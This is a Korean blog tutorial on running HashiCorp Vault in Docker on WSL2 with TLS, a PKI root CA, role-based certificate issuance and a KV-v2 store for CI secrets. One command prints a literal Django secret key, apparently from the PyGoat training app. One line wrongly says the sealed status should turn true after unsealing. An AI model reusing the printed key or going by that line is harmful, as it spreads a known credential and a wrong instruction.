&lt;p data-path-to-node=&quot;11&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11&quot;&gt;6) hashicorp/vault:1.15.0 server&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;12&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;명령어:&lt;/b&gt; 기본 실행 모드를 dev가 아닌 server로 명시함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,0&quot;&gt;결과:&lt;/b&gt; 이로 인해 Vault는 실행 직후 &lt;b data-index-in-node=&quot;23&quot; data-path-to-node=&quot;12,1,0&quot;&gt;봉인(Sealed)&lt;/b&gt; 상태가 되며, 앞서 설명한 init 및 unseal 과정을 거쳐야만 사용할 수 있게 됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2) HTTPS 통신 환경 구축&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTPS 통신환경을 만들어야 하는데 인증서가 없으니까 서버를 실행할 수 없기 때문에 임시 인증서를 만들어서 서버를 실행한 후 &lt;b&gt;PKI 엔진&lt;/b&gt;을 이용해 인증서 동적 발급을 해볼 예정&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;먼저 wsl 임시 인증서 생성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778091943636&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;openssl req -x509 -newkey rsa:2048 -keyout vault.key -out vault.crt -days 365 -nodes \
  -subj &quot;/CN=127.0.0.1&quot; \
  -addext &quot;subjectAltName = IP:127.0.0.1&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디렉토리에 vault.crt(인증서)와 vault.key(개인키) 생성&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;493&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dbxm8L/dJMcahxzjMn/KbgdwtgoRlUOuCbagtrybk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dbxm8L/dJMcahxzjMn/KbgdwtgoRlUOuCbagtrybk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dbxm8L/dJMcahxzjMn/KbgdwtgoRlUOuCbagtrybk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdbxm8L%2FdJMcahxzjMn%2FKbgdwtgoRlUOuCbagtrybk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;538&quot; height=&quot;404&quot; data-origin-width=&quot;657&quot; data-origin-height=&quot;493&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;읽기 권한 부여&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vault 공식 이미지는 보안을 위해 root가 아닌 vault라는 별도 유저로 실행되므로 읽기 권한 부여&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778092076198&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod 644 vault.crt vault.key&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;서버 실행&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778092139003&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker run -d --name vault-server \
  -p 8200:8200 \
  --cap-add=IPC_LOCK \
  --cap-add=SETFCAP \
  --security-opt seccomp=unconfined \
  -v $(pwd)/vault.crt:/vault/config/vault.crt \
  -v $(pwd)/vault.key:/vault/config/vault.key \
  -e &quot;VAULT_LOCAL_CONFIG={
    \&quot;storage\&quot;: {\&quot;file\&quot;: {\&quot;path\&quot;: \&quot;/vault/file\&quot;}},
    \&quot;listener\&quot;: {
      \&quot;tcp\&quot;: {
        \&quot;address\&quot;: \&quot;0.0.0.0:8200\&quot;,
        \&quot;tls_disable\&quot;: 0,
        \&quot;tls_cert_file\&quot;: \&quot;/vault/config/vault.crt\&quot;,
        \&quot;tls_key_file\&quot;: \&quot;/vault/config/vault.key\&quot;
      }
    },
    \&quot;disable_mlock\&quot;: true
  }&quot; \
  hashicorp/vault:1.15.0 server&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-v : wsl의 파일을 컨테이너 내부 /vault/config/vault.crt 경로로 투영&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;config 내의 tls_cert_file : 내부적으로 load할때 읽을 경로&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;환경 변수 설정&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777998795617&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 컨테이너 접속
docker exec -it vault-server sh

# 2. 내부에서 파일 존재 확인 (반드시 확인!)
ls -l /vault/config/vault.crt

# 3. 환경변수 설정 (작업 세션에 즉시 반영)
export VAULT_ADDR='https://127.0.0.1:8200'
export VAULT_CACERT='/vault/config/vault.crt'

# 4. 상태 확인
vault status&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3. Unseal&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777998882266&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 컨테이너 내부에서 실행 중이라면
vault operator init

# 3번 반복 실행 (매번 다른 Unseal Key 입력)
vault operator unseal  # [첫 번째 키 입력]
vault operator unseal  # [두 번째 키 입력]
vault operator unseal  # [세 번째 키 입력]

# Sealed: false가 되면 성공!
vault status&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;init을 하면 unseal key 5개와 Initial Root Token이 1개 생성되는데 메모장에 복사해두자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;총 3개를 아무거나 입력하여 잠금을푼다. sealed가 true가 되야함&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;277&quot; data-origin-height=&quot;160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b79JFD/dJMcahqNXpf/z6danEXo6XOKdlZECZcq1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b79JFD/dJMcahqNXpf/z6danEXo6XOKdlZECZcq1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b79JFD/dJMcahqNXpf/z6danEXo6XOKdlZECZcq1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb79JFD%2FdJMcahqNXpf%2Fz6danEXo6XOKdlZECZcq1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;277&quot; height=&quot;160&quot; data-origin-width=&quot;277&quot; data-origin-height=&quot;160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;4) &lt;b&gt;Vault CLI 설치&lt;/b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778095146877&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 기존 설정 삭제 (충돌 방지)
sudo rm -f /etc/apt/sources.list.d/hashicorp.list

# 2. GPG 키 다운로드 및 권한 설정
wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg
sudo chmod 644 /usr/share/keyrings/hashicorp-archive-keyring.gpg

# 3. 저장소 등록 (Ubuntu 24.04 Noble 자동 인식)
echo &quot;deb [signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] https://apt.releases.hashicorp.com $(lsb_release -cs) main&quot; | sudo tee /etc/apt/sources.list.d/hashicorp.list

# 4. 패키지 업데이트 및 설치
sudo apt update &amp;amp;&amp;amp; sudo apt install vault

# 5. 설치 확인
vault -version&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;wsl에서 서버(docker)를 인식할 수 있도록 환경변수도 설정&lt;/p&gt;
&lt;pre id=&quot;code_1778095182782&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 서버 주소 설정 (Docker 포트 포워딩 기준)
export VAULT_ADDR='https://127.0.0.1:8200'

# 2. 임시 인증서 경로 설정 (현재 폴더에 vault.crt가 있는 경우)
# 경로가 다르다면 실제 파일 위치로 수정하세요.
export VAULT_CACERT=&quot;$(pwd)/vault.crt&quot;

# 3. (선택) 인증서 검증 건너뛰기 
# CACERT 설정이 번거로울 때 사용하지만, 보안 실습을 위해 가급적 CACERT를 사용하세요.
# export VAULT_SKIP_VERIFY=true

# 4. 연결 상태 최종 확인
vault status&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정 영구 반영하려면 bashrc 변경&lt;/p&gt;
&lt;pre id=&quot;code_1778095211378&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# bashrc 파일 하단에 추가
echo &quot;export VAULT_ADDR='https://127.0.0.1:8200'&quot; &amp;gt;&amp;gt; ~/.bashrc
echo &quot;export VAULT_CACERT='$(pwd)/vault.crt'&quot; &amp;gt;&amp;gt; ~/.bashrc

# 변경사항 적용
source ~/.bashrc&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;5) PKI 엔진 설치&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;root token 로그인&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778095974418&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vault login [사용자의_루트_토큰_입력]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;pki 엔진 활성화 및 수명 설정&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778095999090&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# PKI 엔진 활성화
vault secrets enable pki

# 최대 유효기간을 10년(87600시간)으로 설정
vault secrets tune -max-lease-ttl=87600h pki&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;자체 Root CA 인증서 생성&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778096039675&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vault write -field=certificate pki/root/generate/internal \
    common_name=&quot;DevSecOps-Internal-Root-CA&quot; \
    ttl=87600h &amp;gt; internal_root_ca.crt&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;자동 저장:&lt;/b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt; pki/root/generate/internal&lt;/span&gt; 명령을 실행하는 순간, Vault는 개인키(Private Key)와 인증서를 생성하여 내부 저장소에 즉시 기록함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;보안 가드레일:&lt;/b&gt; 개인키가 일반 파일 시스템에 노출되지 않으므로, 관리자조차 개인키 파일을 탈취할 수 없는 &lt;b data-index-in-node=&quot;59&quot; data-path-to-node=&quot;5,1,0&quot;&gt;제로 트러스트&lt;/b&gt; 보안 환경을 구축함.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증서 복사본이 wsl 디렉토리에 저장됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;발급 규칙 정의&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;로컬 테스트를 위해 local 도메인 허용, 후에 필요한 도메인 추가 가능&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778096503181&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Role 규칙 업데이트: 모든 이름 허용 및 IP SAN 허용 추가
vault write pki/roles/my-local-services \
    allow_any_name=true \
    allow_ip_sans=true \
    max_ttl=&quot;720h&quot; \
    ttl=&quot;720h&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인증서 발급&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778097262364&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vault write -format=json pki/issue/my-local-services \
    common_name=&quot;127.0.0.1&quot; \
    ip_sans=&quot;127.0.0.1&quot; &amp;gt; cert_bundle.json&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;6) 저장소 (KV 엔진) 활성화&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pki 엔진이 안전한 통로를 만드는 역할이라면 kv엔진은 그 통로를 통해 옮길 비밀번호 원본을 보관하는 장소이다.&lt;/p&gt;
&lt;pre id=&quot;code_1777998908197&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 위에서 복사한 Root Token으로 로그인
vault login [YOUR_ROOT_TOKEN]

# KV-v2 엔진 활성화 (경로: secret)
vault secrets enable -path=secret kv-v2&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;wsl2 환경에서 vault를 활용하여 HTTPS 통신 체계와 PKI 인증서 발급 환경 구축 전체 과정 정리&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;가장 먼저 통신의 보안 기초를 다지기 위해 &lt;b data-index-in-node=&quot;24&quot; data-path-to-node=&quot;1&quot;&gt;WSL2 호스트에서 임시 TLS 인증서와 개인키를 생성&lt;/b&gt;했습니다. openssl을 이용해 127.0.0.1 주소에 대한 SAN(Subject Alternative Name) 설정을 포함한 인증서를 만들었으며, Docker 컨테이너 내의 vault 사용자가 이 파일을 읽을 수 있도록 &lt;b data-index-in-node=&quot;181&quot; data-path-to-node=&quot;1&quot;&gt;파일 권한을 644로 조정&lt;/b&gt;하는 보안 설정을 수행했습니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;그다음 단계로 &lt;b data-index-in-node=&quot;8&quot; data-path-to-node=&quot;2&quot;&gt;Vault 서버를 Docker 컨테이너로 실행&lt;/b&gt;했습니다. 이때 앞서 생성한 호스트의 인증서 파일들을 컨테이너 내부의 설정 경로로 마운트하였고, 환경 변수(VAULT_LOCAL_CONFIG)를 통해 TLS 활성화 및 인증서 경로를 명시하여 서버가 HTTPS 모드로 작동하도록 구성했습니다. 서버 실행 후에는 컨테이너 내부에 접속하여 &lt;b data-index-in-node=&quot;192&quot; data-path-to-node=&quot;2&quot;&gt;초기화(Initialize) 및 봉인 해제(Unseal)&lt;/b&gt; 작업을 진행했습니다. vault operator init으로 생성된 5개의 Unseal Key 중 3개를 입력하여 서버를 활성 상태(Sealed: false)로 전환했으며, 이 과정에서 발급된 Root Token은 향후 관리자 인증을 위해 안전하게 보관했습니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;서버가 정상 가동된 후에는 WSL 호스트 환경에서도 Vault를 제어할 수 있도록 &lt;b data-index-in-node=&quot;46&quot; data-path-to-node=&quot;3&quot;&gt;Vault CLI를 설치하고 환경 변수를 설정&lt;/b&gt;했습니다. VAULT_ADDR을 HTTPS 주소로 지정하고, VAULT_CACERT에 호스트 측 인증서 경로를 연결하여 CLI와 서버 간의 신뢰 관계를 형성했습니다. 이어서 관리자 로그인을 마친 뒤 &lt;b data-index-in-node=&quot;182&quot; data-path-to-node=&quot;3&quot;&gt;PKI 시크릿 엔진을 활성화&lt;/b&gt;하고 인증서 유효기간을 10년으로 튜닝했습니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;본격적인 인증서 체계 구축을 위해 &lt;b data-index-in-node=&quot;19&quot; data-path-to-node=&quot;4&quot;&gt;Internal Root CA를 생성&lt;/b&gt;했습니다. 이 명령을 통해 Vault 내부 저장소에 개인키가 안전하게 생성되었으며, 이는 관리자조차 개인키 파일에 직접 접근할 수 없는 &lt;b data-index-in-node=&quot;115&quot; data-path-to-node=&quot;4&quot;&gt;제로 트러스트 보안 모델&lt;/b&gt;을 충실히 따르는 방식입니다. 이후 실제 인증서 발급 조건을 규정하는 &lt;b data-index-in-node=&quot;167&quot; data-path-to-node=&quot;4&quot;&gt;발급 규칙(Role)을 정의&lt;/b&gt;하여 로컬 도메인 및 IP에 대한 허용 범위를 설정했습니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;마지막으로 정의된 Role을 통해 &lt;b data-index-in-node=&quot;19&quot; data-path-to-node=&quot;5&quot;&gt;실제 엔드포인트 인증서를 발급&lt;/b&gt;받았습니다. write 명령을 수행하면 Vault가 내부에 보관 중인 Root CA의 권한으로 서명된 인증서 뭉치를 JSON 형태로 반환하며, 이로써 안전한 통신 통로를 확보하기 위한 PKI 구축 프로세스가 완료되었습니다. 이 과정은 단순히 도구를 사용하는 것을 넘어, 데이터 살균(CDR)이나 제로 트러스트(ZTA) 체계 구축을 위한 핵심적인 보안 가드레일 역할을 합니다.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3-2) secret 저장 및 정책 설정&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1) github secret값 vault에 이전&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1778099684908&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# SonarQube 관련 설정
vault kv put secret/infra/sonarqube \
    host_url=&quot;YOUR_SONAR_HOST_URL&quot; \
    token=&quot;YOUR_SONAR_TOKEN&quot; \
    org_key=&quot;YOUR_SONAR_ORG_KEY&quot; \
    project_key=&quot;YOUR_SONAR_PROJECT_KEY&quot;

# Snyk 및 Docker 관련 설정
vault kv put secret/infra/common \
    snyk_token=&quot;YOUR_SNYK_TOKEN&quot; \
    snyk_org_id=&quot;YOUR_SNYK_ORG_ID&quot; \
    docker_token=&quot;YOUR_DOCKER_TOKEN&quot; \
    dockerhub_username=&quot;YOUR_DOCKERHUB_USERNAME&quot; \
    dockerhub_token=&quot;YOUR_DOCKERHUB_TOKEN&quot; \
    gh_token=&quot;YOUR_GH_TOKEN&quot;
    
    
# Cosign 이미지 서명 설정
vault kv put secret/security/cosign \
    key=&quot;YOUR_COSIGN_KEY&quot; \
    password=&quot;YOUR_COSIGN_PASSWORD&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;데이터 확인:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;vault kv get secret/infra/sonarqube&lt;/span&gt; 명령어로 데이터가 정확히 들어갔는지 확인 필수.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;버전 관리:&lt;/b&gt; KV-v2를 사용 중이므로, 값을 잘못 입력해 다시 put 하면 자동으로 &lt;b data-index-in-node=&quot;48&quot; data-path-to-node=&quot;10,1,0&quot;&gt;Version 2&lt;/b&gt;가 생성되어 이력이 관리됨.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,2,0&quot;&gt;보안 가드레일:&lt;/b&gt; 이제 GitHub Secrets에 남아있는 값들은 삭제하거나, Vault에서 값을 가져오는 &lt;b data-index-in-node=&quot;60&quot; data-path-to-node=&quot;10,2,0&quot;&gt;AppRole/JWT 토큰&lt;/b&gt; 하나로 대체&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;2) 코드 내 하드코딩된 문자열 vault에 이전(ex. settings.py)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dEsptV/dJMcaakS79B/9kPnxnskSjaxqURhfbk09k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dEsptV/dJMcaakS79B/9kPnxnskSjaxqURhfbk09k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dEsptV/dJMcaakS79B/9kPnxnskSjaxqURhfbk09k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdEsptV%2FdJMcaakS79B%2F9kPnxnskSjaxqURhfbk09k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;652&quot; height=&quot;116&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 내 문자열을 vault kv에 저장&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1778099971935&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 큰따옴표를 사용하여 특수문자 오류 방지
vault kv put secret/pygoat/config \
    django_secret_key=&quot;lr66%-a!$km5ed@n5ug!tya5bv!0(yqwa1tn!q%0%3m2nh%oml&quot; \
    sensitive_data=&quot;FLAGTHATNEEDSTOBEFOUND&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 코드에서는 환경변수로 vault의 값을 가져옴&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;527&quot; data-origin-height=&quot;88&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bf9I60/dJMcabYp40T/lWAy74HgH3ADJvXxQ0nORk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bf9I60/dJMcabYp40T/lWAy74HgH3ADJvXxQ0nORk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bf9I60/dJMcabYp40T/lWAy74HgH3ADJvXxQ0nORk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbf9I60%2FdJMcabYp40T%2FlWAy74HgH3ADJvXxQ0nORk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;527&quot; height=&quot;88&quot; data-origin-width=&quot;527&quot; data-origin-height=&quot;88&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
